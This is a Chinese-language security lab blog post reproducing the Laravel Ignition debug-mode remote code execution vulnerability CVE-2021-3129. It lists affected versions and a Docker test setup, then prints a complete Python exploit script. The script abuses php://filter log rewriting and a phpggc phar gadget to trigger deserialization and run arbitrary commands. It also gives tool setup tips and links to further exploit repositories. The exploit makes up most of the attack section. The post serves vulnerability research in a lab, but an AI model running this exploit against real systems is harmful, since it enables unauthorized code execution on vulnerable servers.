暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【技术交流】Laravel Debug mode RCE CVE-2021-3129

燕云实验室 2021-06-28
2199



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。




Laravel是一套简洁、开源的PHP Web开发框架(PHP Web Framework),旨在实现Web软件的MVC架构。

2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

 


一、影响范围


Laravel <= 8.4.2

Ignition <2.5.2

实际上该漏洞是Laravel框架中的Ignition插件引发的RCE

Ignition中默认有几个solutions,其中一个solutions:vendor/facade/ignition/src/Solutions/Makeon.php由于过滤不严谨导致的该RCE漏洞。ViewVariableOptionalSoluti

 

关于对CVE-2021-3129和Ignition < 2.5.2 RCE 完整的分析可以参考

先知社区@奶权师傅的文章:https://xz.aliyun.com/t/9030

或者@ Crispr师傅的博客:https://www.crisprx.top/archives/340#CVE-2021-3129_Laravel

很全很棒很厉害



二、部署环境


目前测试的@SNCKER师傅做到Docker环境很好用,需要开的Debug或者其他配置都已经写好了

Github:https://github.com/SNCKER/CVE-2021-3129

 

根据Readme直接去docker-compose  up -d启动就好

 

 

默认端口是8888

 

 

可以点击修复debug

 

便得到laravel首页

 

Laravel从6.x版本开始,开始使用ignition插件美化debug模式信息,除此之外,ignition插件还附带了修复bug功能,刚才显示的“You app key is missing”直接点击“Generate app key”便修复了这个bug。

 

上述漏洞范围中提ignition插件中的多个solutions,这些solutions都是用来快速修复错误用的

 



三、漏洞复现


该漏洞发布时间已经略久,已经有了很多利用脚本,配合这篇文章不再重复造轮子了,直接拿来@crisprss师傅的exp利用

Github:https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

python原码:

    # -*- coding=utf-8 -*-
    # Author : Crispr
    import os
    import requests
    import sys

    class EXP:
    #这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
    __gadget_chains = {
    "monolog_rce5":r"""
    php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "%s" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
    """
    }

    def __vul_check(self):
    res = requests.get(self.__url,verify=False)
    if res.status_code != 405 and "laravel" not in res.text:
    print("[+]Vulnerability does not exist")
    return False
    return True

    def __payload_send(self,payload):
    header = {
    "Accept": "application/json"
    }
    data = {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName": "cve20213129",
    "viewFile": ""
    }
    }
    data["parameters"]["viewFile"] = payload

    print(data)
    res = requests.post(self.__url, headers=header, json=data, verify=False)
    return res

    def __clear_log(self):
    payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
    return self.__payload_send(payload=payload)

    def __generate_payload(self,gadget_chain):
    generate_exp = self.__gadget_chains[gadget_chain] % self.__command
    #print(generate_exp)
    exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'
    print("[+]exploit:")
    print(exp)
    return exp

    def __decode_log(self):
    return self.__payload_send(
    "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
    return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
    text = str(self.__unserialize_log().text)
    #print(text)
    text = text[text.index(']'):].replace("}","").replace("]","")
    return text

    def exp(self):
    for gadget_chain in self.__gadget_chains.keys():
    print("[*] Try to use %s for exploitation." % (gadget_chain))
    self.__clear_log()
    self.__clear_log()
    self.__payload_send('A' * 2)
    self.__payload_send(self.__generate_payload((gadget_chain)))
    self.__decode_log()
    print("[*] Result:")
    print(self.__rce())

    def __init__(self, target, command):
    self.target = target
    self.__url = requests.compat.urljoin(target, "_ignition/execute-solution")
    self.__command = command
    if not self.__vul_check():
    print("[-] [%s] is seems not vulnerable." % (self.target))
    print("[*] You can also call obj.exp() to force an attack.")
    else:
    self.exp()

    def main():
    EXP("http://127.0.0.1:8888",sys.argv[1])

    if __name__ == "__main__":
    main()

     

    思路和上述文章中分析的内容一样,不该该py目前仅写入了一个php gadget,通用性可能差一些,后续有时间我们也补一下其他gadget

     

    因为该RCE漏洞需要php反序列化,实际上该py本身主要是将payload发送出去并做一些判断,而生成payload则需要php命令和php反序列化工具

    phpggc:https://github.com/ambionics/phpggc

    When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of is ysoserial
    https://github.com/ambionics/phpggc


    除了下载phpggc工具python脚本中还需要调用php命令,故操作系统中需要安装php命令,

    Debian:

      sudo apt-get install php



      注意目前phpggc不支持php8

      环境都好了直接走py,注意python脚本调用phpgcc的路径,可以直接把py放到phpggc目录中


      脚本没有参数控制,目标写死的,直接改EXP类的参数即可

      脚本中的python的print会刷屏不好截图,注释了一哈

      注意不同的phpggc gadget 的命令写法不同,具体参考phpggc

      目前测试Laravel/RCE5和Laravel/RCE6和monolog/rce1三个Gadget Chains均可RCE


      测试成功的gadget均已经加入vulmap豪华午餐

       

      另外对laravel所有可利用的gadget魔改了一版遍历脚本,可以遍历多个可用的gadget来判断哪个可RCE

      Github:https://github.com/zhzyker/CVE-2021-3129

      效果:

       



      四、Reference


      https://xz.aliyun.com/t/9030

      https://www.crisprx.top/archives/340#CVE-2021-3129_Laravel

      https://github.com/SNCKER/CVE-2021-3129

      https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

      https://github.com/ambionics/phpggc

      https://www.ambionics.io/blog/laravel-debug-rce



      END




      文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论